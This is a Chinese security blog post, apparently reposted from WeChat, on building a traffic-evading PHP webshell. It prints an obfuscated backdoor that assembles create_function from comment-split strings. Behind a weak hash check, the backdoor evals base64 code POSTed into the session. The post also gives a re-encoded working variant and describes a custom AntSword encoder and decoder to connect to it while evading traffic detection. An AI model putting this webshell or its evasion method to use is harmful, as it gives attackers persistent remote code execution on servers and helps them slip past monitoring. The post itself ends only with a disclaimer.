0x00 背景
朋友发的,乍一看内容,挺复杂,当时想着可以手动把注释删除一下,应该就能看到原始代码了,挺繁琐的就没动手。
/*K*/$CF/*B*/='c'./*exit();*/"".'r'./*echo;*/"".'e'./*S*/"".'a'./*E*/"".'t'./*F*/"".'e'./*G*/"".'_'./*H*/"".'f'./*J*/"".'u'./*die*/"".'n'./*I*/"".'c'./*H*/"".'t'./*J*/"".'i'./*L*/"".'o'./*S*/"".'n';$EB/*exit();*/=@$CF/*F*/('','e'.""./*M*/'v'.""./*Z*/'a'.""./*K*/'l'.""./*B*/'(b'.""./*D*/'a'.""./*E*/'s'.""./*sleep(0);*/'e'.""./*L*/'6'.""./*C*/'4'.""./*J*/'_'.""./*Y*/'d'.""./*I*/'e'.""./*H*/'c'.""./*J*/'o'.""./*V*/'d'.""./*O*/'e'.""./*exit*/'("QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7"));');$EB/*die;*/();/*exit("TP");*/
但是没想到,ai很快啊,就吐出来解密后的代码
@session_start();if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));
红衣老板说下一个风口在AI,果然让人大吃一惊
又仔细一看,直接手动将base64编码后的字符串解码也能拿到明文。
关于代码具体的执行逻辑,ai解释说明已经很清晰了
0x01 实际测试
逻辑出来了,测试也就很简单。
打开phpstudy,起一个文件,先试试明文的
@session_start();
if(isset($_POST['code']))
substr(sha1(md5($_POST['a'])),36)=='6fb3'&&$_SESSION['theCode']=$_POST['code'];
if(isset($_SESSION['theCode']))
@eval(base64_decode($_SESSION['theCode']));
原来的密码拿不到,直接修改后四位为已知某个字符串,此处为abc,然后将要执行的命令给base64编码一下,实际测试
测试混淆代码,执行无问题。
/*K*/$CF/*B*/='c'./*exit();*/"".'r'./*echo;*/"".'e'./*S*/"".'a'./*E*/"".'t'./*F*/"".'e'./*G*/"".'_'./*H*/"".'f'./*J*/"".'u'./*die*/"".'n'./*I*/"".'c'./*H*/"".'t'./*J*/"".'i'./*L*/"".'o'./*S*/"".'n';$EB/*exit();*/=@$CF/*F*/('','e'.""./*M*/'v'.""./*Z*/'a'.""./*K*/'l'.""./*B*/'(b'.""./*D*/'a'.""./*E*/'s'.""./*sleep(0);*/'e'.""./*L*/'6'.""./*C*/'4'.""./*J*/'_'.""./*Y*/'d'.""./*I*/'e'.""./*H*/'c'.""./*J*/'o'.""./*V*/'d'.""./*O*/'e'.""./*exit*/'("IEBzZXNzaW9uX3N0YXJ0KCk7aWYoaXNzZXQoJF9QT1NUWydjb2RlJ10pKXN1YnN0cihzaGExKG1kNSgkX1BPU1RbJ2EnXSkpLDM2KT09JzZmYjMnJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT0kX1BPU1RbJ2NvZGUnXTtpZihpc3NldCgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpQGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOyA"));');$EB/*die;*/();/*exit("TP");*/
0x02 工具连接
接下来尝试蚁剑来连接webshell,
配置code作为webshell密码,body增加验证参数
用burp抓包,观察蚁剑数据包格式,可以看到蚁剑原始的数据包格式
显然此时与webshell内容不匹配,无法正常解析。
考虑蚁剑的编码器,新建一个编码器,具体编码器为直接将base64处理后的payload赋值给webshell的密码字段即code字段
设置webshell连接使用的编码器选择当前自己编写的编码器
测试,发现成功连接,考虑到返回数据包的特征问题,使用一层解码器,流量检测躲避效果嘎嘎滴。
效果实现,至此Over!
关于蚁剑、编码器、解码器更多的玩法,因为开源可以自己看代码。
原文始发于微信公众号(here404):某流量躲避webshell诞生记
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论